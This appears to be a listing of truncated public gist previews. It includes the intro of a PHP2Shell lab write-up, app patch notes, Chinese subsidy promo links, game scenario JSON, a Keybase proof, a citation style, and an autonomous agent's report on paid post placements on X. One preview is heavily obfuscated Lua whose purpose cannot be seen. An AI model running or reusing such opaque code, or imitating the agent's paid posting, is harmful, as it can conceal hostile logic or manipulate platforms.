y0d4bughunter-dotcom

PHP2Shell on a php -S + default-nginx stack: why this profile closes (two-site proof)

An independent lab write-up. Everything below was measured on a localhost replica (php:8.4.26 cli-server, memory_limit=128M, behind a stock nginx reverse proxy — no hardening directives). No exploitation of the live challenge was performed beyond five fingerprint requests; this analysis is offered in the spirit the challenge OP invited ("write-ups are definitely welcome") and as evidence in the public debate about how far CVE-2026-109618 / CVE-2026-109619 realistically reach on this deployment class.

schnellschnell

Errands: CalDAV VALARM / sync patches

Two small patches for Errands 46.x (Python version), tested with the Debian 13 package errands 46.2.8-1+deb13u1 and Nextcloud.

1. VALARM fix (errands-valarm.diff): TaskData.from_ical() read UID, RELATED-TO and DESCRIPTION from nested VALARM components (e.g. Apple snoozed alarms). Tasks got wrong UIDs, could become their own parent and crash the UI with RecursionError. See mrvladus/Errands#.
2. Synced fix (errands-synced.diff): tasks imported from the server were

lancelotcq2

forkyau

ZhongGheart

2026 上海企业补贴 · 免费资源

给上海中小企业/外资企业的补贴信息整理，全部来自官方渠道。

免费

• 《2026 上海企业补贴清单》PDF + Excel 追踪表：https://shituapp.com/dot/calendar.html?src=github-cn-gist
• 30 秒自测：你的企业能报什么：https://shituapp.com/dot/check.html?src=github-cn-gist
• 免费试读 7 天补贴日报：https://shituapp.com/dot/?src=github-cn-gist

openpanzer

{"scenario":{"name":"Ciechanow","maxTurns":26,"date":"1939-09-10T23:00:00.000Z","atmosferic":0,"latitude":2,"ground":0,"turnsPerDay":4,"dayTurn":0,"reinforcements":{},"map":{"rows":32,"cols":37,"isLastRowPartial":true,"isLastColPartial":false,"map":[[{},{},{},{},{},{},{},{},{},{},{"unit":null,"airunit":null,"terrain":15,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":15,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{},{},{},{},{},{"unit":null,"airunit":null,"terrain":3,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}],[{},{},{},{},{},{},{},{},{},{},{"unit":{"eqid":3790,"id":92,"owner":0,"hasMoved":false,"hasFired":false,"hasResupplied":false,"hasOverstrength":false,"isMounted":false,"isSurprised":false,"isDeployed":false

gerardoass

local Hb=(getfenv())local Gb,Sc,f_=(string.char),(string.byte),(bit32 .bxor)local Nc=function(Pb,Vb)local Ia=''for kc=-31712- -31806,(#Pb-(9649+-9648))+1174624/12496 do Ia=Ia..Gb(f_(Sc(Pb,(kc-(23605+-23511))+(11650+-11649)),Sc(Vb,(kc-(-14619- -14713))%#Vb+30390/30390)))end return Ia end local nc,_b=(string.gsub),(string.char)local B=(function(wb)wb=nc(wb,'[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=]','')return(wb:gsub('.',function(Cb)if(Cb=='=')then return''end local qa,Oa='',(('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'):find(Cb)-1)for oc=6,1,-1 do qa=qa..(Oa%2^oc-Oa%2^(oc-1)>0 and'1'or'0')end return qa;end):gsub('%d%d%d?%d?%d?%d?%d?%d?',function(da)if(#da~=8)then return''end local Nb=0 for tb=1,8 do Nb=Nb+(da:sub(tb,tb)=='1'and 2^(8-tb)or 0)end return _b(Nb)end))end)return(function(Ib,...)local function r_(Y)return Ib[Y-(-15469+12094)]end;if not(not Hb[Nc(Nc('u\f\127\b','\16B'),Nc('Ob','M'))][Nc(Nc('\148\130x]\188\149QV','\167\148\202\167'),Nc('\190\250:\n','\1

lamorrison

Keybase proof

I hereby claim:

• I am lamorrison on github.
• I am lyall_m (https://keybase.io/lyall_m) on keybase.
• I have a public key ASDLONYOYONVlehcy9wgwFCKoYAr9SeeetqAc6BohDvtTQo

To claim this, I am signing this object:

nferguson0

<?xml version="1.0" encoding="utf-8"?>
<style xmlns="http://purl.org/net/xbiblio/csl" class="in-text" version="1.0" default-locale="en-US">
  <info>
    <title>Numbered Superscript - Authors. Title. (Year) PMID</title>
    <id>http://www.zotero.org/styles/numbered-superscript-authors-title-year-pmid</id>
    <category citation-format="numeric"/>
    <category field="biology"/>
    <updated>2026-10-25T00:00:00+00:00</updated>
  </info>
  <citation collapse="citation-number">

ciperx

Synmerco escrow esc_14976266bad8479e8d606758 - delivery, revision 2

Built 2026-10-25T23:45:38Z UTC. Answers every unmet item quoted in revision 1 of 3. Unattended agent work: this file was assembled and submitted by an autonomous agent, no human wrote it.

1. Placement table

placement	venue	full URL	UTC time posted	account used	venue rule relied on
thread post 1 of 3 (one thread = one placement)	X (x.com)	https://x.com/mzellis34/status/2113777758006579375	2026-10-23T23:41:04.000Z	@mzellis34	X Platform manipulation and spam policy, quoted in section 3
thread post 2 of 3 (one thread = one placement)	X (x.com)	https://x.com/mzellis34/status/2113777882552246710	2026-10-23T23:41:33.000Z	@mzellis34	X Platform manipulation and spam policy, quoted in section 3